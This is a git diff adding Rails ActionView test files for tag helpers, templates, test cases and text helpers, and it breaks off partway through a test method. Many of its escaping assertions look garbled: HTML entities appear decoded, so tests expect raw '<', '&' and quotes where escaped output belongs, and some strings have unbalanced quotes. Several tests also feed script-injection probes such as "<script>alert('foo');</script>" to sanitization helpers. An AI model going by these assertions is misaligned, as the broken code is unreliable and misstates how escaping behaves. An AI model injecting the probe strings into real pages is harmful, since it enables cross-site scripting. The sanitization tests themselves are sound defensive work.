+    assert_equal "<p>\n  <b>Hello</b>\n</p>", view.render("test/content_tag_nested_in_content_tag")
+  end
+
+  def test_content_tag_with_escaped_array_class
+    str = content_tag('p', "limelight", :class => ["song", "play>"])
+    assert_equal "<p class=\"song play>\">limelight</p>", str
+
+    str = content_tag('p', "limelight", :class => ["song", "play"])
+    assert_equal "<p class=\"song play\">limelight</p>", str
+  end
+
+  def test_content_tag_with_unescaped_array_class
+    str = content_tag('p', "limelight", {:class => ["song", "play>"]}, false)
+    assert_equal "<p class=\"song play>\">limelight</p>", str
+  end
+
+  def test_content_tag_with_data_attributes
+    assert_dom_equal '<p data-number="1" data-string="hello" data-string-with-quotes="double"quote"party"">limelight</p>',
+      content_tag('p', "limelight", data: { number: 1, string: 'hello', string_with_quotes: 'double"quote"party"' })
+  end
+
+  def test_cdata_section
+    assert_equal "<![CDATA[<hello world>]]>", cdata_section("<hello world>")
+  end
+
+  def test_cdata_section_with_string_conversion
+    assert_equal "<![CDATA[]]>", cdata_section(nil)
+  end
+
+  def test_cdata_section_splitted
+    assert_equal "<![CDATA[hello]]]]><![CDATA[>world]]>", cdata_section("hello]]>world")
+    assert_equal "<![CDATA[hello]]]]><![CDATA[>world]]]]><![CDATA[>again]]>", cdata_section("hello]]>world]]>again")
+  end
+
+  def test_escape_once
+    assert_equal '1 < 2 & 3', escape_once('1 < 2 & 3')
+  end
+
+  def test_tag_honors_html_safe_for_param_values
+    ['1&2', '1 < 2', '“test“'].each do |escaped|
+      assert_equal %(<a href="#{escaped}" />), tag('a', :href => escaped.html_safe)
+    end
+  end
+
+  def test_skip_invalid_escaped_attributes
+    ['&1;', '&#1dfa3;', '& #123;'].each do |escaped|
+      assert_equal %(<a href="#{escaped.gsub(/&/, '&')}" />), tag('a', :href => escaped)
+    end
+  end
+
+  def test_disable_escaping
+    assert_equal '<a href="&" />', tag('a', { :href => '&' }, false, false)
+  end
+
+  def test_data_attributes
+    ['data', :data].each { |data|
+      assert_dom_equal '<a data-a-float="3.14" data-a-big-decimal="-123.456" data-a-number="1" data-array="[1,2,3]" data-hash="{"key":"value"}" data-string-with-quotes="double"quote"party"" data-string="hello" data-symbol="foo" />',
+        tag('a', { data => { a_float: 3.14, a_big_decimal: BigDecimal.new("-123.456"), a_number: 1, string: 'hello', symbol: :foo, array: [1, 2, 3], hash: { key: 'value'}, string_with_quotes: 'double"quote"party"' } })
+    }
+  end
+end
diff --git a/actionview/test/template/template_error_test.rb b/actionview/test/template/template_error_test.rb
new file mode 100644
index 0000000..3971ec8
--- /dev/null
+++ b/actionview/test/template/template_error_test.rb
@@ -0,0 +1,20 @@
+require "abstract_unit"
+
+class TemplateErrorTest < ActiveSupport::TestCase
+  def test_provides_original_message
+    error = ActionView::Template::Error.new("test", Exception.new("original"))
+    assert_equal "original", error.message
+  end
+
+  def test_provides_original_backtrace
+    original_exception = Exception.new
+    original_exception.set_backtrace(%W[ foo bar baz ])
+    error = ActionView::Template::Error.new("test", original_exception)
+    assert_equal %W[ foo bar baz ], error.backtrace
+  end
+
+  def test_provides_useful_inspect
+    error = ActionView::Template::Error.new("test", Exception.new("original"))
+    assert_equal "#<ActionView::Template::Error: original>", error.inspect
+  end
+end
diff --git a/actionview/test/template/template_test.rb b/actionview/test/template/template_test.rb
new file mode 100644
index 0000000..c94508d
--- /dev/null
+++ b/actionview/test/template/template_test.rb
@@ -0,0 +1,200 @@
+# encoding: US-ASCII
+require "abstract_unit"
+require "logger"
+
+class TestERBTemplate < ActiveSupport::TestCase
+  ERBHandler = ActionView::Template::Handlers::ERB.new
+
+  class LookupContext
+    def disable_cache
+      yield
+    end
+
+    def find_template(*args)
+    end
+
+    attr_accessor :formats
+  end
+
+  class Context
+    def initialize
+      @output_buffer = "original"
+      @virtual_path = nil
+    end
+
+    def hello
+      "Hello"
+    end
+
+    def apostrophe
+      "l'apostrophe"
+    end
+
+    def partial
+      ActionView::Template.new(
+        "<%= @virtual_path %>",
+        "partial",
+        ERBHandler,
+        :virtual_path => "partial"
+      )
+    end
+
+    def lookup_context
+      @lookup_context ||= LookupContext.new
+    end
+
+    def logger
+      ActiveSupport::Logger.new(STDERR)
+    end
+
+    def my_buffer
+      @output_buffer
+    end
+  end
+
+  def new_template(body = "<%= hello %>", details = { format: :html })
+    ActionView::Template.new(body, "hello template", details.fetch(:handler) { ERBHandler }, {:virtual_path => "hello"}.merge!(details))
+  end
+
+  def render(locals = {})
+    @template.render(@context, locals)
+  end
+
+  def setup
+    @context = Context.new
+  end
+
+  def test_basic_template
+    @template = new_template
+    assert_equal "Hello", render
+  end
+
+  def test_basic_template_does_html_escape
+    @template = new_template("<%= apostrophe %>")
+    assert_equal "l'apostrophe", render
+  end
+
+  def test_text_template_does_not_html_escape
+    @template = new_template("<%= apostrophe %> <%== apostrophe %>", format: :text)
+    assert_equal "l'apostrophe l'apostrophe", render
+  end
+
+  def test_raw_template
+    @template = new_template("<%= hello %>", :handler => ActionView::Template::Handlers::Raw.new)
+    assert_equal "<%= hello %>", render
+  end
+
+  def test_template_loses_its_source_after_rendering
+    @template = new_template
+    render
+    assert_nil @template.source
+  end
+
+  def test_template_does_not_lose_its_source_after_rendering_if_it_does_not_have_a_virtual_path
+    @template = new_template("Hello", :virtual_path => nil)
+    render
+    assert_equal "Hello", @template.source
+  end
+
+  def test_locals
+    @template = new_template("<%= my_local %>")
+    @template.locals = [:my_local]
+    assert_equal "I am a local", render(:my_local => "I am a local")
+  end
+
+  def test_restores_buffer
+    @template = new_template
+    assert_equal "Hello", render
+    assert_equal "original", @context.my_buffer
+  end
+
+  def test_virtual_path
+    @template = new_template("<%= @virtual_path %>" \
+                             "<%= partial.render(self, {}) %>" \
+                             "<%= @virtual_path %>")
+    assert_equal "hellopartialhello", render
+  end
+
+  def test_refresh_with_templates
+    @template = new_template("Hello", :virtual_path => "test/foo/bar")
+    @template.locals = [:key]
+    @context.lookup_context.expects(:find_template).with("bar", %w(test/foo), false, [:key]).returns("template")
+    assert_equal "template", @template.refresh(@context)
+  end
+
+  def test_refresh_with_partials
+    @template = new_template("Hello", :virtual_path => "test/_foo")
+    @template.locals = [:key]
+    @context.lookup_context.expects(:find_template).with("foo", %w(test), true, [:key]).returns("partial")
+    assert_equal "partial", @template.refresh(@context)
+  end
+
+  def test_refresh_raises_an_error_without_virtual_path
+    @template = new_template("Hello", :virtual_path => nil)
+    assert_raise RuntimeError do
+      @template.refresh(@context)
+    end
+  end
+
+  def test_resulting_string_is_utf8
+    @template = new_template
+    assert_equal Encoding::UTF_8, render.encoding
+  end
+
+  def test_no_magic_comment_word_with_utf_8
+    @template = new_template("hello \u{fc}mlat")
+    assert_equal Encoding::UTF_8, render.encoding
+    assert_equal "hello \u{fc}mlat", render
+  end
+
+  # This test ensures that if the default_external
+  # is set to something other than UTF-8, we don't
+  # get any errors and get back a UTF-8 String.
+  def test_default_external_works
+    with_external_encoding "ISO-8859-1" do
+      @template = new_template("hello \xFCmlat")
+      assert_equal Encoding::UTF_8, render.encoding
+      assert_equal "hello \u{fc}mlat", render
+    end
+  end
+
+  def test_encoding_can_be_specified_with_magic_comment
+    @template = new_template("# encoding: ISO-8859-1\nhello \xFCmlat")
+    assert_equal Encoding::UTF_8, render.encoding
+    assert_equal "\nhello \u{fc}mlat", render
+  end
+
+  # TODO: This is currently handled inside ERB. The case of explicitly
+  # lying about encodings via the normal Rails API should be handled
+  # inside Rails.
+  def test_lying_with_magic_comment
+    assert_raises(ActionView::Template::Error) do
+      @template = new_template("# encoding: UTF-8\nhello \xFCmlat", :virtual_path => nil)
+      render
+    end
+  end
+
+  def test_encoding_can_be_specified_with_magic_comment_in_erb
+    with_external_encoding Encoding::UTF_8 do
+      @template = new_template("<%# encoding: ISO-8859-1 %>hello \xFCmlat", :virtual_path => nil)
+      assert_equal Encoding::UTF_8, render.encoding
+      assert_equal "hello \u{fc}mlat", render
+    end
+  end
+
+  def test_error_when_template_isnt_valid_utf8
+    assert_raises(ActionView::Template::Error, /\xFC/) do
+      @template = new_template("hello \xFCmlat", :virtual_path => nil)
+      render
+    end
+  end
+
+  def with_external_encoding(encoding)
+    old = Encoding.default_external
+    Encoding::Converter.new old, encoding if old != encoding
+    silence_warnings { Encoding.default_external = encoding }
+    yield
+  ensure
+    silence_warnings { Encoding.default_external = old }
+  end
+end
diff --git a/actionview/test/template/test_case_test.rb b/actionview/test/template/test_case_test.rb
new file mode 100644
index 0000000..4ee0930
--- /dev/null
+++ b/actionview/test/template/test_case_test.rb
@@ -0,0 +1,366 @@
+require 'abstract_unit'
+
+module ActionView
+
+  module ATestHelper
+  end
+
+  module AnotherTestHelper
+    def from_another_helper
+      'Howdy!'
+    end
+  end
+
+  module ASharedTestHelper
+    def from_shared_helper
+      'Holla!'
+    end
+  end
+
+  class TestCase
+    helper ASharedTestHelper
+
+    module SharedTests
+      def self.included(test_case)
+        test_case.class_eval do
+          test "helpers defined on ActionView::TestCase are available" do
+            assert test_case.ancestors.include?(ASharedTestHelper)
+            assert_equal 'Holla!', from_shared_helper
+          end
+        end
+      end
+    end
+  end
+
+  class GeneralViewTest < ActionView::TestCase
+    include SharedTests
+    test_case = self
+
+    test "memoizes the view" do
+      assert_same view, view
+    end
+
+    test "exposes view as _view for backwards compatibility" do
+      assert_same _view, view
+    end
+
+    test "retrieve non existing config values" do
+      assert_equal nil, ActionView::Base.new.config.something_odd
+    end
+
+    test "works without testing a helper module" do
+      assert_equal 'Eloy', render('developers/developer', :developer => stub(:name => 'Eloy'))
+    end
+
+    test "can render a layout with block" do
+      assert_equal "Before (ChrisCruft)\n!\nAfter",
+                    render(:layout => "test/layout_for_partial", :locals => {:name => "ChrisCruft"}) {"!"}
+    end
+
+    helper AnotherTestHelper
+    test "additional helper classes can be specified as in a controller" do
+      assert test_case.ancestors.include?(AnotherTestHelper)
+      assert_equal 'Howdy!', from_another_helper
+    end
+
+    test "determine_default_helper_class returns nil if the test name constant resolves to a class" do
+      assert_nil self.class.determine_default_helper_class("String")
+    end
+
+    test "delegates notice to request.flash[:notice]" do
+      view.request.flash.expects(:[]).with(:notice)
+      view.notice
+    end
+
+    test "delegates alert to request.flash[:alert]" do
+      view.request.flash.expects(:[]).with(:alert)
+      view.alert
+    end
+
+    test "uses controller lookup context" do
+      assert_equal self.lookup_context, @controller.lookup_context
+    end
+  end
+
+  class ClassMethodsTest < ActionView::TestCase
+    include SharedTests
+    test_case = self
+
+    tests ATestHelper
+    test "tests the specified helper module" do
+      assert_equal ATestHelper, test_case.helper_class
+      assert test_case.ancestors.include?(ATestHelper)
+    end
+
+    helper AnotherTestHelper
+    test "additional helper classes can be specified as in a controller" do
+      assert test_case.ancestors.include?(AnotherTestHelper)
+      assert_equal 'Howdy!', from_another_helper
+
+      test_case.helper_class.module_eval do
+        def render_from_helper
+          from_another_helper
+        end
+      end
+      assert_equal 'Howdy!', render(:partial => 'test/from_helper')
+    end
+  end
+
+  class HelperInclusionTest < ActionView::TestCase
+    module RenderHelper
+      def render_from_helper
+        render :partial => 'customer', :collection => @customers
+      end
+    end
+
+    helper RenderHelper
+
+    test "helper class that is being tested is always included in view instance" do
+      @controller.controller_path = 'test'
+
+      @customers = [stub(:name => 'Eloy'), stub(:name => 'Manfred')]
+      assert_match(/Hello: EloyHello: Manfred/, render(:partial => 'test/from_helper'))
+    end
+  end
+
+  class ControllerHelperMethod < ActionView::TestCase
+    module SomeHelper
+      def some_method
+        render :partial => 'test/from_helper'
+      end
+    end
+
+    helper SomeHelper
+
+    test "can call a helper method defined on the current controller from a helper" do
+      @controller.singleton_class.class_eval <<-EOF, __FILE__, __LINE__ + 1
+        def render_from_helper
+          'controller_helper_method'
+        end
+      EOF
+      @controller.class.helper_method :render_from_helper
+
+      assert_equal 'controller_helper_method', some_method
+    end
+  end
+
+  class ViewAssignsTest < ActionView::TestCase
+    test "view_assigns returns a Hash of user defined ivars" do
+      @a = 'b'
+      @c = 'd'
+      assert_equal({:a => 'b', :c => 'd'}, view_assigns)
+    end
+
+    test "view_assigns excludes internal ivars" do
+      INTERNAL_IVARS.each do |ivar|
+        assert defined?(ivar), "expected #{ivar} to be defined"
+        assert !view_assigns.keys.include?(ivar.to_s.sub('@', '').to_sym), "expected #{ivar} to be excluded from view_assigns"
+      end
+    end
+  end
+
+  class HelperExposureTest < ActionView::TestCase
+    helper(Module.new do
+      def render_from_helper
+        from_test_case
+      end
+    end)
+    test "is able to make methods available to the view" do
+      assert_equal 'Word!', render(:partial => 'test/from_helper')
+    end
+
+    def from_test_case; 'Word!'; end
+    helper_method :from_test_case
+  end
+
+  class IgnoreProtectAgainstForgeryTest < ActionView::TestCase
+    module HelperThatInvokesProtectAgainstForgery
+      def help_me
+        protect_against_forgery?
+      end
+    end
+
+    helper HelperThatInvokesProtectAgainstForgery
+
+    test "protect_from_forgery? in any helpers returns false" do
+      assert !view.help_me
+    end
+
+  end
+
+  class ATestHelperTest < ActionView::TestCase
+    include SharedTests
+    test_case = self
+
+    test "inflects the name of the helper module to test from the test case class" do
+      assert_equal ATestHelper, test_case.helper_class
+      assert test_case.ancestors.include?(ATestHelper)
+    end
+
+    test "a configured test controller is available" do
+      assert_kind_of ActionController::Base, controller
+      assert_equal '', controller.controller_path
+    end
+
+    test "no additional helpers should shared across test cases" do
+      assert !test_case.ancestors.include?(AnotherTestHelper)
+      assert_raise(NoMethodError) { send :from_another_helper }
+    end
+
+    test "is able to use routes" do
+      controller.request.assign_parameters(@routes, 'foo', 'index')
+      assert_equal '/foo', url_for
+      assert_equal '/bar', url_for(:controller => 'bar')
+    end
+
+    test "is able to use named routes" do
+      with_routing do |set|
+        set.draw { resources :contents }
+        assert_equal 'http://test.host/contents/new', new_content_url
+        assert_equal 'http://test.host/contents/1',   content_url(:id => 1)
+      end
+    end
+
+    test "is able to use mounted routes" do
+      with_routing do |set|
+        app = Class.new do
+          def self.routes
+            @routes ||= ActionDispatch::Routing::RouteSet.new
+          end
+
+          routes.draw { get "bar", :to => lambda {} }
+
+          def self.call(*)
+          end
+        end
+
+        set.draw { mount app => "/foo", :as => "foo_app" }
+
+        assert_equal '/foo/bar', foo_app.bar_path
+      end
+    end
+
+    test "named routes can be used from helper included in view" do
+      with_routing do |set|
+        set.draw { resources :contents }
+        _helpers.module_eval do
+          def render_from_helper
+            new_content_url
+          end
+        end
+
+        assert_equal 'http://test.host/contents/new', render(:partial => 'test/from_helper')
+      end
+    end
+
+    test "is able to render partials with local variables" do
+      assert_equal 'Eloy', render('developers/developer', :developer => stub(:name => 'Eloy'))
+      assert_equal 'Eloy', render(:partial => 'developers/developer',
+                                  :locals => { :developer => stub(:name => 'Eloy') })
+    end
+
+    test "is able to render partials from templates and also use instance variables" do
+      @controller.controller_path = "test"
+
+      @customers = [stub(:name => 'Eloy'), stub(:name => 'Manfred')]
+      assert_match(/Hello: EloyHello: Manfred/, render(:file => 'test/list'))
+    end
+
+    test "is able to render partials from templates and also use instance variables after view has been referenced" do
+      @controller.controller_path = "test"
+
+      view
+
+      @customers = [stub(:name => 'Eloy'), stub(:name => 'Manfred')]
+      assert_match(/Hello: EloyHello: Manfred/, render(:file => 'test/list'))
+    end
+
+  end
+
+  class AssertionsTest < ActionView::TestCase
+    def render_from_helper
+      form_tag('/foo') do
+        safe_concat render(:text => '<ul><li>foo</li></ul>')
+      end
+    end
+    helper_method :render_from_helper
+
+    test "uses the output_buffer for assert_select" do
+      render(:partial => 'test/from_helper')
+
+      assert_select 'form' do
+        assert_select 'li', :text => 'foo'
+      end
+    end
+  end
+
+  class RenderTemplateTest < ActionView::TestCase
+    test "supports specifying templates with a Regexp" do
+      controller.controller_path = "fun"
+      render(:template => "fun/games/hello_world")
+      assert_template %r{\Afun/games/hello_world\Z}
+    end
+
+    test "supports specifying partials" do
+      controller.controller_path = "test"
+      render(:template => "test/calling_partial_with_layout")
+      assert_template :partial => "_partial_for_use_in_layout"
+    end
+
+    test "supports specifying locals (passing)" do
+      controller.controller_path = "test"
+      render(:template => "test/calling_partial_with_layout")
+      assert_template :partial => "_partial_for_use_in_layout", :locals => { :name => "David" }
+    end
+
+    test "supports specifying locals (failing)" do
+      controller.controller_path = "test"
+      render(:template => "test/calling_partial_with_layout")
+      assert_raise ActiveSupport::TestCase::Assertion, /Somebody else.*David/m do
+        assert_template :partial => "_partial_for_use_in_layout", :locals => { :name => "Somebody Else" }
+      end
+    end
+
+    test 'supports different locals on the same partial' do
+      controller.controller_path = "test"
+      render(:template => "test/render_two_partials")
+      assert_template partial: '_partial', locals: { 'first' => '1' }
+      assert_template partial: '_partial', locals: { 'second' => '2' }
+    end
+
+    test 'raises descriptive error message when template was not rendered' do
+      controller.controller_path = "test"
+      render(template: "test/hello_world_with_partial")
+      e = assert_raise ActiveSupport::TestCase::Assertion do
+        assert_template partial: 'i_was_never_rendered', locals: { 'did_not' => 'happen' }
+      end
+      assert_match "i_was_never_rendered to be rendered but it was not.", e.message
+      assert_match 'Expected ["/test/partial"] to include "i_was_never_rendered"', e.message
+    end
+
+    test 'specifying locals works when the partial is inside a directory with underline prefix' do
+      controller.controller_path = "test"
+      render(template: 'test/render_partial_inside_directory')
+      assert_template partial: 'test/_directory/_partial_with_locales', locals: { 'name' => 'Jane' }
+    end
+
+    test 'specifying locals works when the partial is inside a directory without underline prefix' do
+      controller.controller_path = "test"
+      render(template: 'test/render_partial_inside_directory')
+      assert_template partial: 'test/_directory/partial_with_locales', locals: { 'name' => 'Jane' }
+    end
+  end
+
+  module AHelperWithInitialize
+    def initialize(*)
+      super
+      @called_initialize = true
+    end
+  end
+
+  class AHelperWithInitializeTest < ActionView::TestCase
+    test "the helper's initialize was actually called" do
+      assert @called_initialize
+    end
+  end
+end
diff --git a/actionpack/test/template/test_test.rb b/actionview/test/template/test_test.rb
similarity index 100%
rename from actionpack/test/template/test_test.rb
rename to actionview/test/template/test_test.rb
diff --git a/actionview/test/template/testing/fixture_resolver_test.rb b/actionview/test/template/testing/fixture_resolver_test.rb
new file mode 100644
index 0000000..d6cfa99
--- /dev/null
+++ b/actionview/test/template/testing/fixture_resolver_test.rb
@@ -0,0 +1,18 @@
+require 'abstract_unit'
+
+class FixtureResolverTest < ActiveSupport::TestCase
+  def test_should_return_empty_list_for_unknown_path
+    resolver = ActionView::FixtureResolver.new()
+    templates = resolver.find_all("path", "arbitrary", false, {:locale => [], :formats => [:html], :variants => [], :handlers => []})
+    assert_equal [], templates, "expected an empty list of templates"
+  end
+
+  def test_should_return_template_for_declared_path
+    resolver = ActionView::FixtureResolver.new("arbitrary/path.erb" => "this text")
+    templates = resolver.find_all("path", "arbitrary", false, {:locale => [], :formats => [:html], :variants => [], :handlers => [:erb]})
+    assert_equal 1, templates.size, "expected one template"
+    assert_equal "this text",      templates.first.source
+    assert_equal "arbitrary/path", templates.first.virtual_path
+    assert_equal [:html],          templates.first.formats
+  end
+end
diff --git a/actionpack/test/template/testing/null_resolver_test.rb b/actionview/test/template/testing/null_resolver_test.rb
similarity index 100%
rename from actionpack/test/template/testing/null_resolver_test.rb
rename to actionview/test/template/testing/null_resolver_test.rb
diff --git a/actionview/test/template/text_helper_test.rb b/actionview/test/template/text_helper_test.rb
new file mode 100644
index 0000000..a514bba
--- /dev/null
+++ b/actionview/test/template/text_helper_test.rb
@@ -0,0 +1,487 @@
+# encoding: utf-8
+require 'abstract_unit'
+
+class TextHelperTest < ActionView::TestCase
+  tests ActionView::Helpers::TextHelper
+
+  def setup
+    super
+    # This simulates the fact that instance variables are reset every time
+    # a view is rendered.  The cycle helper depends on this behavior.
+    @_cycles = nil if (defined? @_cycles)
+  end
+
+  def test_concat
+    self.output_buffer = 'foo'
+    assert_equal 'foobar', concat('bar')
+    assert_equal 'foobar', output_buffer
+  end
+
+  def test_simple_format_should_be_html_safe
+    assert simple_format("<b> test with html tags </b>").html_safe?
+  end
+
+  def test_simple_format_included_in_isolation
+    helper_klass = Class.new { include ActionView::Helpers::TextHelper }
+    assert helper_klass.new.simple_format("<b> test with html tags </b>").html_safe?
+  end
+
+  def test_simple_format
+    assert_equal "<p></p>", simple_format(nil)
+
+    assert_equal "<p>crazy\n<br /> cross\n<br /> platform linebreaks</p>", simple_format("crazy\r\n cross\r platform linebreaks")
+    assert_equal "<p>A paragraph</p>\n\n<p>and another one!</p>", simple_format("A paragraph\n\nand another one!")
+    assert_equal "<p>A paragraph\n<br /> With a newline</p>", simple_format("A paragraph\n With a newline")
+
+    text = "A\nB\nC\nD".freeze
+    assert_equal "<p>A\n<br />B\n<br />C\n<br />D</p>", simple_format(text)
+
+    text = "A\r\n  \nB\n\n\r\n\t\nC\nD".freeze
+    assert_equal "<p>A\n<br />  \n<br />B</p>\n\n<p>\t\n<br />C\n<br />D</p>", simple_format(text)
+
+    assert_equal %q(<p class="test">This is a classy test</p>), simple_format("This is a classy test", :class => 'test')
+    assert_equal %Q(<p class="test">para 1</p>\n\n<p class="test">para 2</p>), simple_format("para 1\n\npara 2", :class => 'test')
+  end
+
+  def test_simple_format_should_sanitize_input_when_sanitize_option_is_not_false
+    assert_equal "<p><b> test with unsafe string </b></p>", simple_format("<b> test with unsafe string </b><script>code!</script>")
+  end
+
+  def test_simple_format_should_sanitize_input_when_sanitize_option_is_true
+    assert_equal '<p><b> test with unsafe string </b></p>',
+      simple_format('<b> test with unsafe string </b><script>code!</script>', {}, sanitize: true)
+  end
+
+  def test_simple_format_should_not_sanitize_input_when_sanitize_option_is_false
+    assert_equal "<p><b> test with unsafe string </b><script>code!</script></p>", simple_format("<b> test with unsafe string </b><script>code!</script>", {}, :sanitize => false)
+  end
+
+  def test_simple_format_with_custom_wrapper
+    assert_equal "<div></div>", simple_format(nil, {}, :wrapper_tag => "div")
+  end
+
+  def test_simple_format_with_custom_wrapper_and_multi_line_breaks
+    assert_equal "<div>We want to put a wrapper...</div>\n\n<div>...right there.</div>", simple_format("We want to put a wrapper...\n\n...right there.", {}, :wrapper_tag => "div")
+  end
+
+  def test_simple_format_should_not_change_the_text_passed
+    text = "<b>Ok</b><script>code!</script>"
+    text_clone = text.dup
+    simple_format(text)
+    assert_equal text_clone, text
+  end
+
+  def test_simple_format_does_not_modify_the_html_options_hash
+    options = { :class => "foobar"}
+    passed_options = options.dup
+    simple_format("some text", passed_options)
+    assert_equal options, passed_options
+  end
+
+  def test_simple_format_does_not_modify_the_options_hash
+    options = { :wrapper_tag => :div, :sanitize => false }
+    passed_options = options.dup
+    simple_format("some text", {}, passed_options)
+    assert_equal options, passed_options
+  end
+
+  def test_truncate
+    assert_equal "Hello World!", truncate("Hello World!", :length => 12)
+    assert_equal "Hello Wor...", truncate("Hello World!!", :length => 12)
+  end
+
+  def test_truncate_should_use_default_length_of_30
+    str = "This is a string that will go longer then the default truncate length of 30"
+    assert_equal str[0...27] + "...", truncate(str)
+  end
+
+  def test_truncate_with_options_hash
+    assert_equal "This is a string that wil[...]", truncate("This is a string that will go longer then the default truncate length of 30", :omission => "[...]")
+    assert_equal "Hello W...", truncate("Hello World!", :length => 10)
+    assert_equal "Hello[...]", truncate("Hello World!", :omission => "[...]", :length => 10)
+    assert_equal "Hello[...]", truncate("Hello Big World!", :omission => "[...]", :length => 13, :separator => ' ')
+    assert_equal "Hello Big[...]", truncate("Hello Big World!", :omission => "[...]", :length => 14, :separator => ' ')
+    assert_equal "Hello Big[...]", truncate("Hello Big World!", :omission => "[...]", :length => 15, :separator => ' ')
+  end
+
+  def test_truncate_multibyte
+    assert_equal "\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 ...".force_encoding(Encoding::UTF_8),
+      truncate("\354\225\204\353\246\254\353\236\221 \354\225\204\353\246\254 \354\225\204\353\235\274\353\246\254\354\230\244".force_encoding(Encoding::UTF_8), :length => 10)
+  end
+
+  def test_truncate_does_not_modify_the_options_hash
+    options = { :length => 10 }
+    passed_options = options.dup
+    truncate("some text", passed_options)
+    assert_equal options, passed_options
+  end
+
+  def test_truncate_with_link_options
+    assert_equal "Here is a long test and ...<a href=\"#\">Continue</a>",
+    truncate("Here is a long test and I need a continue to read link", :length => 27) { link_to 'Continue', '#' }
+  end
+
+  def test_truncate_should_be_html_safe
+    assert truncate("Hello World!", :length => 12).html_safe?
+  end
+
+  def test_truncate_should_escape_the_input
+    assert_equal "Hello <sc...", truncate("Hello <script>code!</script>World!!", :length => 12)
+  end
+
+  def test_truncate_should_not_escape_the_input_with_escape_false
+    assert_equal "Hello <sc...", truncate("Hello <script>code!</script>World!!", :length => 12, :escape => false)
+  end
+
+  def test_truncate_with_escape_false_should_be_html_safe
+    truncated = truncate("Hello <script>code!</script>World!!", :length => 12, :escape => false)
+    assert truncated.html_safe?
+  end
+
+  def test_truncate_with_block_should_be_html_safe
+    truncated = truncate("Here's a long test and I need a continue to read link", :length => 27) { link_to 'Continue', '#' }
+    assert truncated.html_safe?
+  end
+
+  def test_truncate_with_block_should_escape_the_input
+    assert_equal "<script>code!</script>He...<a href=\"#\">Continue</a>",
+      truncate("<script>code!</script>Here's a long test and I need a continue to read link", :length => 27) { link_to 'Continue', '#' }
+  end
+
+  def test_truncate_with_block_should_not_escape_the_input_with_escape_false
+    assert_equal "<script>code!</script>He...<a href=\"#\">Continue</a>",
+      truncate("<script>code!</script>Here's a long test and I need a continue to read link", :length => 27, :escape => false) { link_to 'Continue', '#' }
+  end
+
+  def test_truncate_with_block_with_escape_false_should_be_html_safe
+    truncated = truncate("<script>code!</script>Here's a long test and I need a continue to read link", :length => 27, :escape => false) { link_to 'Continue', '#' }
+    assert truncated.html_safe?
+  end
+
+  def test_truncate_with_block_should_escape_the_block
+    assert_equal "Here is a long test and ...<script>alert('foo');</script>",
+      truncate("Here is a long test and I need a continue to read link", :length => 27) { "<script>alert('foo');</script>" }
+  end
+
+  def test_highlight_should_be_html_safe
+    assert highlight("This is a beautiful morning", "beautiful").html_safe?
+  end
+
+  def test_highlight
+    assert_equal(
+      "This is a <mark>beautiful</mark> morning",
+      highlight("This is a beautiful morning", "beautiful")
+    )
+
+    assert_equal(
+      "This is a <mark>beautiful</mark> morning, but also a <mark>beautiful</mark> day",
+      highlight("This is a beautiful morning, but also a beautiful day", "beautiful")
+    )
+
+    assert_equal(
+      "This is a <b>beautiful</b> morning, but also a <b>beautiful</b> day",
+      highlight("This is a beautiful morning, but also a beautiful day", "beautiful", :highlighter => '<b>\1</b>')
+    )
+
+    assert_equal(
+      "This text is not changed because we supplied an empty phrase",
+      highlight("This text is not changed because we supplied an empty phrase", nil)
+    )
+
+    assert_equal '   ', highlight('   ', 'blank text is returned verbatim')
+  end
+
+  def test_highlight_should_sanitize_input
+    assert_equal(
+      "This is a <mark>beautiful</mark> morning",
+      highlight("This is a beautiful morning<script>code!</script>", "beautiful")
+    )
+  end
+
+  def test_highlight_should_not_sanitize_if_sanitize_option_if_false
+    assert_equal(
+      "This is a <mark>beautiful</mark> morning<script>code!</script>",
+      highlight("This is a beautiful morning<script>code!</script>", "beautiful", :sanitize => false)
+    )
+  end
+
+  def test_highlight_with_regexp
+    assert_equal(
+      "This is a <mark>beautiful!</mark> morning",
+      highlight("This is a beautiful! morning", "beautiful!")
+    )
+
+    assert_equal(
+      "This is a <mark>beautiful! morning</mark>",
+      highlight("This is a beautiful! morning", "beautiful! morning")
+    )
+
+    assert_equal(
+      "This is a <mark>beautiful? morning</mark>",
+      highlight("This is a beautiful? morning", "beautiful? morning")
+    )
+  end
+
+  def test_highlight_with_multiple_phrases_in_one_pass
+    assert_equal %(<em>wow</em> <em>em</em>), highlight('wow em', %w(wow em), :highlighter => '<em>\1</em>')
+  end
+
+  def test_highlight_with_html
+    assert_equal(
+      "<p>This is a <mark>beautiful</mark> morning, but also a <mark>beautiful</mark> day</p>",
+      highlight("<p>This is a beautiful morning, but also a beautiful day</p>", "beautiful")
+    )
+    assert_equal(
+      "<p>This is a <em><mark>beautiful</mark></em> morning, but also a <mark>beautiful</mark> day</p>",
+      highlight("<p>This is a <em>beautiful</em> morning, but also a beautiful day</p>", "beautiful")
+    )
+    assert_equal(
+      "<p>This is a <em class=\"error\"><mark>beautiful</mark></em> morning, but also a <mark>beautiful</mark> <span class=\"last\">day</span></p>",
+      highlight("<p>This is a <em class=\"error\">beautiful</em> morning, but also a beautiful <span class=\"last\">day</span></p>", "beautiful")
+    )
+    assert_equal(
+      "<p class=\"beautiful\">This is a <mark>beautiful</mark> morning, but also a <mark>beautiful</mark> day</p>",
+      highlight("<p class=\"beautiful\">This is a beautiful morning, but also a beautiful day</p>", "beautiful")
+    )
+    assert_equal(
+      "<p>This is a <mark>beautiful</mark> <a href=\"http://example.com/beautiful#top?what=beautiful%20morning&when=now+then\">morning</a>, but also a <mark>beautiful</mark> day</p>",
+      highlight("<p>This is a beautiful <a href=\"http://example.com/beautiful\#top?what=beautiful%20morning&when=now+then\">morning</a>, but also a beautiful day</p>", "beautiful")
+    )
+    assert_equal(
+      "<div>abc <b>div</b></div>",
+      highlight("<div>abc div</div>", "div", :highlighter => '<b>\1</b>')
+    )
+  end
+
+  def test_highlight_does_not_modify_the_options_hash
+    options = { :highlighter => '<b>\1</b>', :sanitize => false }
+    passed_options = options.dup
+    highlight("<div>abc div</div>", "div", passed_options)
+    assert_equal options, passed_options
+  end
+
+  def test_excerpt
+    assert_equal("...is a beautiful morn...", excerpt("This is a beautiful morning", "beautiful", :radius => 5))
+    assert_equal("This is a...", excerpt("This is a beautiful morning", "this", :radius => 5))
+    assert_equal("...iful morning", excerpt("This is a beautiful morning", "morning", :radius => 5))
+    assert_nil excerpt("This is a beautiful morning", "day")
+  end
+
+  def test_excerpt_should_not_be_html_safe
+    assert !excerpt('This is a beautiful! morning', 'beautiful', :radius => 5).html_safe?
+  end
+
+  def test_excerpt_in_borderline_cases
